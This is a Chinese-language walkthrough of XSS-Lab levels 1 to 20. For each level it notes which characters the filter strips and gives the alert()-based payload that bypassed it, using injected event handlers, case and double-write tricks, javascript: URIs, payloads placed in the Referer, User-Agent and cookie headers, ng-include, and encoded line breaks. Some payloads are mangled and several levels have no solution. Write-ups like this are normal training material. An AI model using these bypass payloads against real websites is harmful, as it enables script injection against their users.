XSS-Lab 1-20关 通关笔记
第一关:
第二关:
测试 script " ’ Oonn
得到 script " ’ Oonn 无过滤
value 属性 -> " οnmοuseοver=“alert(/xss/)”
第三关:
测试 script " ’ Oonn
得到 script "’ Oonn 过滤 "
Value 属性 单引号
’ οnmοuseοver=‘alert(/xss/)’
第四关:
测试 script " ’ Oonn
得到 script " ’ Oonn 无过滤
value属性 双引号
" οnmοuseοver=“alert(/xss/)”
第五关:
测试 script " ’ Oonn
得到 script " 'oo_nn 过滤 on
value属性 双引号
">click
第六关:
测试 script " ’ Oonn
得到 script " 'Oo_nn 过滤 on
value属性 双引号
">click
发现过滤href属性
大写绕过:
">click
第七关:
测试 script " ’ Oonn
得到 " 'on 过滤 script,On
value属性 双引号
">click
大写无法绕开
双写on绕过:
" Oonnmouseover=“alert(/xss/)”
第八关:
测试 script " ’ Oonn
得到 script "’ oonn 过滤双引号
value属性 双引号
发现下面href属性
javascript:alert(/xss/)
发现过滤script大写无法绕过
unicode编码绕过
javasCRipt:alert(/xss/)
第九关:
测试 script " ’ Oonn
得到 script "’ oonn 过滤双引号
value属性 双引号
同第八关href属性 值为:
您的链接不合法?有没有!
改为合法链接
javascript:alert(‘http://www.baidu.com’)
第十关:
无input框
源代码发现三个隐藏input
URL传参发现t_sort可传参改变value,
测试发现过滤 < >
" type=“text” οnmοuseοver="alert(/xss/)
第十一关:
无input框
源代码发现四个隐藏input
URL传参发现t_sort可传参改变value,
" type=“text” οnmοuseοver="alert(/xss/)
发现 " 被过滤
从其中发现t_ref隐藏字段value为上一个页面地址
即请求头 referer 字段
BP抓包修改referer为
" type=“text” οnmοuseοver="alert(/xss/)
第十二关:
无input框
源代码发现四个隐藏input
URL传参发现t_sort可传参改变value,
" type=“text” οnmοuseοver="alert(/xss/)
发现 " 被过滤
源代码发现t_ua为请求头中User_agent的内容
BP抓包修改" type=“text” οnmοuseοver="alert(/xss/)
第十三关:
无input框
同上关,“ 被过滤,
抓包发现cookie参数传入t_cook,抓包修改cookie
" type=“text” οnmοuseοver="alert(/xss/)
第十四关:
文件失效 无法测试
第十五关:
无input框
传参测试发现span标签可获得参数
双引号 被过滤
破局知识点:
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
尝试传入第一关的地址URL
'http://localhost/xsslabs/level1.php?name=alert(/xss/)’
发现 " < > 均被过滤 且 出现level1的页面但没有弹框
构造img标签后发现可以显示,利用onerror事件
'[**http://localhost/xsslabs/level1.php?name= src=aaa οnerrοr=alert(/xss/) />’
第十六关:
无input框
keyword可以传参到center标签内
测试发现 空格 script / 均被过滤
破局知识点:
1、%0D%0A 回车编码 用来代替空格
payload:
<a%0D%0Aοnclick=alert(1)>123
第十七关:
无input框
过滤 “ < >
无法构造script arg0 与arg1 可以传参 格式为 arg0=arg1
arg01=1&arg02=1 οnmοuseοver=alert(1)
第十八关:
无input框
查看源代码仍未arg01与arg02 传参 格式为arg01=arg02
**arg01=1&arg02=1 οnmοuseοver=alert(1) 同17关 **
第十九关:
无input框
无
第二十关:
无input框
无